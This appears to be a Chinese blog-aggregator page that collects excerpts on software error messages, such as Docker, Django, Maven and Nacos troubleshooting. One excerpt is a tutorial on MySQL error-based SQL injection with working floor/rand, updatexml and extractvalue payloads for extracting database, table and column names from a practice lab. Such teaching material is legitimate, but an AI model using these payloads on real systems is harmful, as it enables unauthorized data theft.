精华内容
下载资源
问答
  • eclipse报错 eclipse启动报错解决方法 eclipse报错 eclipse启动报错解决方法
  • 安装Docker Desktop报错WSL 2 installation is incomplete.

    万次阅读 多人点赞 2020-09-16 17:02:33
    报错描述 我们安装Docker Desktop的时候,他会问我们是否需要使用WSL2(基于Windows的Linux子系统),如果我们不适用,就会使用Hyper-v虚拟机运行,不过相比于虚拟机,子系统在性能方面更加出色。在我们选择使用WSL2之后,...

    报错描述

    我们安装Docker Desktop的时候,他会问我们是否需要使用WSL2(基于Windows的Linux子系统),如果我们不适用,就会使用Hyper-v虚拟机运行,不过相比于虚拟机,子系统在性能方面更加出色。在我们选择使用WSL2之后,并且我们也确定打开了如下图所示的Windows功能(如果没有打开,请先百度如何打开wsl。)
    在这里插入图片描述
    还是会出现一个下图所示的报错。
    在这里插入图片描述

    解决报错

    更加报错提示,猜测可能是我们使用的wsl2版本老了,需要我们自己手动更新一下,我们根据提示去微软官网下载最新版的wsl2安装后即可正常打开。
    更新包下载链接

    展开全文
  • vs没报错leetcode报错
  • 报错注入

    千次阅读 2021-03-19 12:52:44
    报错注入 报错注入是SQL注入的一种。 利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error() 优点:不需要显示位 缺点:需要输出mysql_error()的报错信息 报错函数 1、floor报错注入 ...

    报错注入

    报错注入是SQL注入的一种。
    利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
    优点:不需要显示位
    缺点:需要输出mysql_error()的报错信息

    报错函数

    1、floor报错注入

    floor()报错注入是利用count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。
    报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。

    Rand()函数作用如下:
    返回[0,1)之间的随机数,用法就是SELECT rand();
    在这里插入图片描述
    Floor()函数作用如下:
    向下取整,用法即SELECT floor(11.332423),结果为11;

    简单组合下,可以有SELECT floor(rand()*2);
    会发现,产生的是0或1。

    加大难度,可以有 SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)), 结果就是security0或security1,这里假设数据库名为security

    如果再加上from 表名,则一般会返回security0或security1的一个集合,数目由表本身所含记录数决定。
    例如SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)) FROM users;表中存在13各用户,则返回13条。

    再加上group by语句,使用information_schema数据库查询表、列信息等,例如:
    SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)) as a FROM information_schema.tables group by a;
    这样把CONCAT((SELECT database()),FLOOR(RAND()*2))取了个别名a,然后使用它进行分组,这样相同的security0分到一组,security1分到一组,就只剩下两个结果了。

    这里的 database()可以替换成任何想查的函数,比如 version(),user(),datadir() 或者其它的查询。
    相关文章–>https://blog.csdn.net/zpy1998zpy/article/details/80650540

    靶场实战
    我们使用靶场进行测试:
    暴库名payload:

    -1' union select count(*),1,concat((select database()
    ),floor(rand(0)*2))as a from information_schema.tables group by a --+
    

    在这里插入图片描述
    爆表数目

    -1' union select 0x7e,count(*),concat((select count(table_name) from information_schema.tables where table_schema='security'),
    floor(rand(0)*2))as a from information_schema.tables group by a --+
    

    在这里插入图片描述

    爆表名payload

    -1' union select count(*),1,concat((select table_name from information_schema.tables where table_schema = 'security' limit 0,1
    ),floor(rand(0)*2))as a from information_schema.tables group by a --+
    

    在这里插入图片描述
    爆列名:

    -1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name = 'emails' limit 0,1),floor(rand(0)*2))
    as a from information_schema.columns group by a --+
    

    在这里插入图片描述

    2、updatexml报错注入

    原理:updatexml()函数实际上是去更新了XML文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码。

    updatexml(xml_document,xpath_string,new_value)

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc1
    第二个参数: XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。
    第三个参数: new_value,String格式,替换查找到的符合条件的数据。

    作用: 改变文档中符合条件的节点的值。
    获取数据库:

    id=1' and updatexml(0x7e,concat(0x7e,database()),0x7e) --+
    

    在这里插入图片描述
    获取表的数量:

    id=1' and updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
    

    在这里插入图片描述
    获取表的名字:

    id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+
    id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1) --+
    id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x7e),1) --+
    id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) --+
    

    在这里插入图片描述
    获取字段名

    id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1),0x7e),1) --+
    

    在这里插入图片描述

    3、extractvalue报错注入

    extractvalue(xml_document,xpath_string)
    第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。
    第二个参数:XPath_string (Xpath格式的字符串)。
    作用: 从目标XML中返回包含所查询值的字符串。
    ps: 返回结果限制在32位字符。

    爆库名:

    id=1' and extractvalue(1,concat(0x7e,database())) --+
    

    在这里插入图片描述
    爆表数:

    id=1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()))) --+
    

    在这里插入图片描述
    爆表名:

    id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+
    

    在这里插入图片描述
    爆字段名:

    id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) --+
    

    在这里插入图片描述
    宽字节注入移步–>传送门
    更多漏洞原理移步–>传送门

    展开全文
  • 解决编译报错jack问题相关文档,介绍两种jack报错经常出现的问题,解决绝大部分jack编译报错问题
  • delphi程序抓取报错信息不再弹出报错窗口,弹出报错信息很尴尬,现在不用怕了,把错误信息保存到日志文件,后台自己看到错误慢慢修改,增加用户体验。
  • tomcat报错

    2014-07-31 10:57:55
    tomcat报错 原因JDK没有安装好!这里提供了报错信息
  • 一、前言 最近本来都是开开心心的打开电脑写一些祖传...如果是自己的代码报错,还可以根据哪行报错和错误信息去排查原因(一般自己代码报错都是秒改) 稍微有点慌! 首先看报错日志,发现是第三包内部错误,错误信息

    一、前言

    最近本都是开开心心的打开电脑写一些祖传BUG

    在这里插入图片描述

    但一个报错阻碍了我写BUG的进度!

    这年代还有能阻碍我写BUG的报错???
    在这里插入图片描述

    二、解决过程

    一个新项目要做token认证,所以拷了原来的项目代码

    没错,高级CV工程师就是我!!!

    加入了一些token配置信息后,启动项目准备调试。

    在这里插入图片描述
    启动很成功没有任何报错。

    然后启动前端项目开始一天的写BUG时间!

    结果登录的时候就报错了!!
    在这里插入图片描述

    把之前项目的代码拷过来还会报错?

    有点奇怪,但都是小场面!

    在这里插入图片描述
    开始调试

    结果一看错误日志,有点慌了!

    是restframework内部(第三方包)报出的错误!

    如果是自己的代码报错,还可以根据哪行报错和错误信息去排查原因(一般自己代码报错都是秒改)

    第三包内部报的错,如果没有明显的错误提示排查就要花费些时间!
    在这里插入图片描述
    稍微有点慌!
    在这里插入图片描述
    报错日志分析出来暂时没有提供什么有用的信息!
    在这里插入图片描述

    跳转到第三包源码内部,还是没有看出为啥报错!
    在这里插入图片描述
    经调试,再次确认并未走进我的方法
    在这里插入图片描述
    然后上百度大法,通过百度大致定位到问题

    test = (1)
    for i in test:
        print(i)
    

    上述代码执行时会报不可迭代的错误

    test=(1),test的类型并不是一个元组

    而是直接把1赋值给了test,这个时候的test是等于1的

    所以在迭代test的时候才会报不可迭代的错误!
    在这里插入图片描述

    要定义元组的话,应该这样定义:test = (1,)

    这个时候test就是一个可迭代的对象了

    联想到最开始更改了django 的配置文件,返回去查看

    果然!! 少了一个逗号!

    在这里插入图片描述
    加上后,问题解决!!!

    在这里插入图片描述

    三、总结

    错误本身很简单,只是开始源码报错让我有点没有解决思路!

    还是经验太少了!

    相信再干100年,向天再借500年!

    遇到类似的问题,就能够快速的定位并解决了!!

    小伙伴们点赞、收藏、评论是对我最大的支持!!

    展开全文
  • 解决navicat报错ORA-12737(OCI报错) 解决navicat报错ORA-12737(OCI报错)
  • word启动报错

    2015-03-26 10:55:20
    word启动报错,打开word报错处理
  • kettle连接Oracle报错

    2020-12-14 11:06:04
    kettle连接Oracle报错kettle连接Oracle报错报错信息 kettle连接Oracle报错 报错信息 错误连接数据库 [aaa] : org.pentaho.di.core.exception.KettleDatabaseException: Error occurred while trying to connect to ...
  • git各种报错解决方案应用git各种报错解决方案应用git各种报错解决方案应用
  • Maven项目POM文件中的依赖未报错(出现红色波浪线),但Maven Projects中的模块的Dependencies中的依赖却报错 原因推测: 因为本地多处引用这个jar包; 在maven项目结构图里看到,存在一条红线,在idea的中文教程...

    问题描述:
    Maven项目POM文件中的依赖未报错(出现红色波浪线),但Maven Projects中的模块的Dependencies中的依赖却报错

    原因推测:
    因为本地多处引用这个jar包;
    在maven项目结构图里看到,存在一条红线,在idea的中文教程里有说到这一点, 这种红线代表依赖冲突,而且有时并不是因为冲突引起的,只是因为多个地方引用,所以也会出现红色线。而且在结构图里还有一条虚线,会告诉你哪里的jar也引用了这个jar包。
    这里写图片描述

    注:idea的社区版没有结构图功能。

    解决方案

    方案一:可以在项目结构图中右键报红的jar包,选择排除掉冲突(会在pom.xml中自动写上排除的标签)。

    方案二:将波浪线的dependency,将其从pom中删除,保存后,再撤销回来,然后reimport。网上很多方案都是这样。

    其实这个红线是不影响项目运行的,也可以选择不理睬。

    参考资料:http://wiki.jikexueyuan.com/project/intellij-idea-tutorial/maven-project-introduce.html

    以上内容均为个人理解,如有错误之处,欢迎指出。

    展开全文
  • neutronclient 报错

    千次阅读 2019-08-01 17:41:22
    neutronclient 报错调用neutronclient 报错:TypeError: __init__() got an unexpected keyword argument 'global_request_id'neutronclient版本问题???尝试不同neutronclient版本再次调用任然报错检查...
  • eclipse常见报错

    2014-11-18 10:29:39
    eclipse常见报错整理,整理了一下eclipse常见报错,希望对大家有帮助
  • log报错

    千次阅读 2019-03-06 13:25:12
    拉个项目发现log 一直报错。settings已经打开了下载插件设置还是没用 最后发现原因是要先在idea上安装lombok才可 setting-->Plugins-->搜lombok-->install-->重启 点击install ...
  • vue 项目报错大全(一) vue报错:无法启动服务器,报错(npm run dev 报错问题) #出错背景 自己搭建的vue框架,在搭建好一个项目时忽然报错(在此之前其他项目正常运行中,搭建了新的项目启动服务时启动不了了。 #...
  • Web安全原理剖析(四)——报错注入攻击

    万次阅读 多人点赞 2021-09-10 14:10:02
    目录1.8 报错注入攻击1.9 报错注入代码分析 1.8 报错注入攻击   报错注入攻击的测试地址:http://127.0.0.1/sqli/error.php?username=1。   访问该网址时,页面返回ok,如图28所示。 图28 访问username=1时...
  • EOF报错

    千次阅读 2018-10-08 23:40:29
    ***java排错—报错EOF*** java.io.CharConversionException:EOF的原因是因为在httpServletRequest对象的健值中包含有“%”,然而在action中需要用到两个类:java.net.URLEncoder.encode()和java.net.URLDecoder....
  • 401报错

    千次阅读 2019-04-18 01:02:27
    401报错的原因可能是因为token值没有拿到 或者url路径拼写错误。
  • 之前下了一个Navicat 11.0 版本 用ssh通道连接时总是报错报错信息:SSH:expected key exchange group packet form serve)账号信息都没问题、实属纳闷,最后在网上搜索了相关疑问,给出的答复有很多种,个人践行...
  • vue未定义报错

    千次阅读 2020-09-28 15:02:26
    vue未定义报错1报错2改错 1报错 通过报错可知报错位置是在App.vue 原因是无法读取未定义属性 2改错 路由未挂载到实例中
  • oracleTNS报错

    2010-12-29 17:27:19
    oracleTNS报错oracleTNS报错oracleTNS报错
  • Nacos启动报错

    万次阅读 2020-08-17 15:08:26
    一、环境 ...然后根据控制台提示查看了 /usr/local/nacos/logs/start.out 文件,发现报错: 第一个问题: IllegalArgumentException: db.num is null 第二个问题: WebServerException: Unable t
  • HPM1005打印机报错

    2018-09-18 16:34:08
    惠普M1005打印机是市场上比较常见的,使用一段时间(根据用户的使用量来定)会出现开机就报错Scanner Error 20 12,笔者使用了两年出现了此错误,这是什么原因呢?如何解决?
  • 目录undefined symbol nvic 报错undefined symbol TIM_Cmd报错 undefined symbol nvic 报错 原因是在FWLB文件夹中未加入misc.c文件 undefined symbol TIM_Cmd报错 原因是在FWLB文件夹中未加入stm32f10x_tim.c文件 ...
  • 关于VScode报错“终端将被任务重用,按任意键关闭”的解决方案 文章目录关于VScode报错“终端将被任务重用,按任意键关闭”的解决方案报错时候解决方案 这其实不是一种报错,有这个提示的原因是本地端口是被共享的,...
  • 最近在使用Pycharm,在运行或者安装的过程中出现了各种各样的报错,前面已经介绍过安装pygame出现报错的解决方法。文章总结了大部分可能会出现的报错,包含原因以及解决方法。未提及的大家可以在评论区补充,大家...
  • 项目报错,但里面文件没有报错: 首先:因为类有报错,提示是:说改了jdk变成了1.7,然后有的类就报错: The type JPEGImageEncoder is not accessible due to restriction on required 这个百度了结局方案,是提示...
  • oracle报错的详细列表

    2018-04-12 14:12:59
    用于常用的oracle报错详细信息,有助于快速找到报错问题,及原因及时排查

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,698,591
精华内容 1,079,436
关键字:

报错